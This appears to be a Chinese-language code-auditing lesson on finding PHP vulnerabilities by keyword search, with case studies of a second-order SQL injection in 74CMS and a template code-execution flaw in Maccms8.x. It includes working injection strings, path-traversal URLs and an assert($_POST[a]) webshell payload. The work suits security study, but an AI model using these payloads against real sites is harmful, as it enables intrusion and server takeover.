代码审计
- 教学计划:审计项目漏洞 Demo-> 审计思路 -> 完整源码框架 -> 验证并利用漏洞
- 教学内容:PHP,JAVA 网站应用,引入框架类开发源码,相关审计工具及插件使用
- 必备知识点:环境安装搭建使用,相关工具插件安装使用,掌握前期各种漏洞原理及利用
- 开始前准备:审计目标的程序名,版本,当前环境 (系统 , 中间件 , 脚本语言等信息 ), 各种插件等
- 挖掘漏洞根本:可控变量及特定函数,不存在过滤或过滤不严谨存在绕过导致的安全漏洞
代码审计思路
- 1. 定点挖掘关键字:
- 可控变量-变量接受 get post,接受关键字 $_GET
- 特定函数-输出 print、数据库操作等
- 特定关键字
- sql 注入漏洞 –> 搜索 selectinsertupdatesql 执行语句
- xss 漏洞 –> 搜索 echoprint 等
- 安全漏洞 –> 搜索 $_GET$_POST 等
- 2. 定点挖掘功能点:
- 如挖掘文件上传,会员中心存在文件上传的操作地址,抓包分析找到源码中的特定文件代码段,进行文件上传代码分析挖掘。
- 3. 拓展:视漏洞而定,举例
- sqlql 注入 数据库监控-监控到当前页面和数据库的交互过程(SQL 执行语句)
- 断点调试:访问页面对应代码进行断点调试(执行过程前后顺序,调用文件列表)
- 可使用 Seay 源代码审计系统进行数据库监控、全局搜索关键字等(下载:https://github.com/f1tz/cnseay)
- 动态调试 |Maccms SQL 注入分析 (附注入盲注脚本):https://www.cnblogs.com/ichunqiu/p/9548754.html
- 双重编码绕过:源代码将 %5c 自动转为,%25%35%63 转为 %5c get 出 url 编码
二次注入
- 原理:绕过转义注入 魔术引号
- 满足条件: 有 insert update (必须是有插入到数据库中的操作) 、可控变量
各个漏洞关键词
- SQL 注入:
- select insert update mysql_query mysqli 等
- 文件上传:
- $_FILES,type=”file”,上传,move_uploaded_file() 等
- XSS 跨站:
- print print_r echo sprintf die var_dump var_export 等
- 文件包含:
- include include_once require require_once 等
- 代码执行:
- eval assert preg_replace call_user_func call_user_func_array 等
- 命令执行:
- system exec shell_exec “ passthru pcntl_exec popen proc_open
- 变量覆盖:
- extract() parse_str() importrequestvariables() $$ 等
- 反序列化:
- serialize() unserialize() __construct __destruct 等
- 其他漏洞:
- unlink() file_get_contents() show_source() file() fopen() 等
- 通用关键字:
- $_GET,$_POST,$_REQUEST,$_FILES,$_SERVER 等
- 功能点或关键字分析可能存在漏洞
- 抓包或搜索关键字找到代码出处及对应文件
- 追踪过滤或接受的数据函数,寻找触发此函数或代码的地方进行触发测试
- http://192.168.0.102:91/?r=../../index.txt%00
- http://192.168.0.102:94/admin/save.php?act=delfile
- path=/upload/../install/install.lock
案例演示
- 74CMS 人才招聘系统挖掘 -2 次注入应用功能 (自带转义)
- 苹果 CMS 影视建站系统挖掘-数据库监控追踪 (自带过滤)
74CMS 人才招聘系统挖掘 -2 次注入应用功能 (自带转义)
- 配置文件,有自定义的过滤函数:
- 所以这里有过滤,魔术引号,因此在这里,二次注入是最好的选择,但是二次注入有以下两个条件
- 有 2 个(insert + update) (必须是有插入到数据库中的操作)
- 可控 变量
- 可使用 Seay 源代码审计系统或者数据库监控系统,进行数据库监控、全局搜索关键字等
- 1. 我们先输入一些信息,然后查看数据库监控系统,看有没有什么关键词
- 1. 我们先输入一些信息,然后查看数据库监控系统,看有没有什么关键词
更新,刚才提交的语句,进行的数据库操作
2. 根据填写简历界面 url,打开看文件,搜索 make2
- http://127.0.0.1/74/user/personal/personal_resume.php?act=make2&pid=1
此时数据库的语句,虽然满足二次注入的条件,先插入后更新,但是此时更新的语句不符合(和我们填写的数据无关)
3. 那就继续输入信息
更新以下数据库监控系统的数据
4. 填写的选项被数字代替了(我们无法改变),这一步也 G 了,继续
更新,发现此时我们填写的数据,在查询语句中。但是还是不符合二次注入条件,只更新,没有插入!
5. 那就继续输入信息
更新数据库
6. 发现有插入和更新,且我们填写的数据在语句中
- 2022/4/14 20:49 INSERT INTO qs_resume_education (`uid`, `pid`, `start`, `endtime`, `school`, `speciality`, `education`, `education_cn`) VALUES (‘1’, ‘1’, ‘2019xC4xEA10xD4xC2’, ‘2013xC4xEA2xD4xC2’, ‘liandy’, ‘liandy’, ’67’, ‘xD6мxBC’)
- 2022/4/14 20:49 UPDATE qs_resume SET `photo`=’0′, `complete`=’1′, `complete_percent`=’60’, `key`=’liandy xC8xEDxBCxFExCFxEEĿxBExADxC0xED/xD6xF7xB9xDC liandy0 xC8xEDxBCxFE00 xCFxEEĿ00 xCFxEEĿxBExADxC0xED xBExADxC0xED00 xD6xF7xB9xDC00 xB8xDFxD6xD000 liandy’, `refreshtime`=’1649940585′ WHERE uid=’1′ AND id=’1′
- 更新数据库监控系统
- INSERT INTO qs_resume_education (`uid`, `pid`, `start`, `endtime`, `school`, `speciality`, `education`, `education_cn`) VALUES (‘1’, ‘1’, ‘2020xC4xEA3xD4xC2’, ‘2012xC4xEA8xD4xC2’, ‘aa’,`fullname`=user()#’, ‘aa’,`fullname`=user(‘, ’70’, ‘xB1xBExBFxC6’)
- UPDATE qs_resume SET `photo`=’0′, `complete`=’1′, `complete_percent`=’73’, `key`=’aa’,`fullname`=user()# aa’,’fullname=user()# liandy xC8xEDxBCxFExCFxEEĿxBExADxC0xED/xD6xF7xB9xDC liandy0 xC8xEDxBCxFE00 xCFxEEĿ00 xCFxEEĿxBExADxC0xED xBExADxC0xED00 xD6xF7xB9xDC00 xB8xDFxD6xD000 liandy aa’,’fullname=user( aa’,`fullname`=user(‘, `refreshtime`=’1649942748′ WHERE uid=’1′ AND id=’1’
- 发现插入语句被更新,但是更新语句没有被转移
苹果 CMS 影视建站系统挖掘-数据库监控追踪 (自带过滤)
- 下载地址:GitHub – yaofeifly/Maccms8.x: Maccms8.x
- 参考(命令执行):Maccms8.x 命令执行漏洞分析 (苹果 cms) | CN-SEC 中文网
- 参考(sql 注入):代码审计| MACCMS 前台 SQL 注入 – FreeBuf 网络安全行业门户
- 参考(菜刀链接):苹果 MAC-CMS 漏洞复现 (SQL 注入 + 命令执行漏洞写 shell)_ 信安小菜鸡的博客 -CSDN 博客 _maccms 漏洞
- 1. 搜索 liandy
然后我们查看数据库监控系统
2. 根据 url 查看代码文件
- 参数 m 以 get 方式传参,strpos() 函数查找字符串在另一字符串中第一次出现的位置。
3. 打开 inc/module/vod.php(根据:?m=vod-search)
4. 搜索 be 函数,发现 be 函数是先进行魔术引号过滤,再根据传参方式的不同选择过滤
5. 并且在 360_safe3.php 发现有防护过滤
- 7. 因为一直有拦截,所以注入不进去
- 8. 我们输入 wd={if-A:print(md5(23333))}{endif-A} or wd={if-A:phpinfo()}{endif-A},发现可以执行
- 9. 所以输入 wd={if-A:assert($_POST[a])}{endif-A} 菜刀链接,但被拦截,所以自己输入吧
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容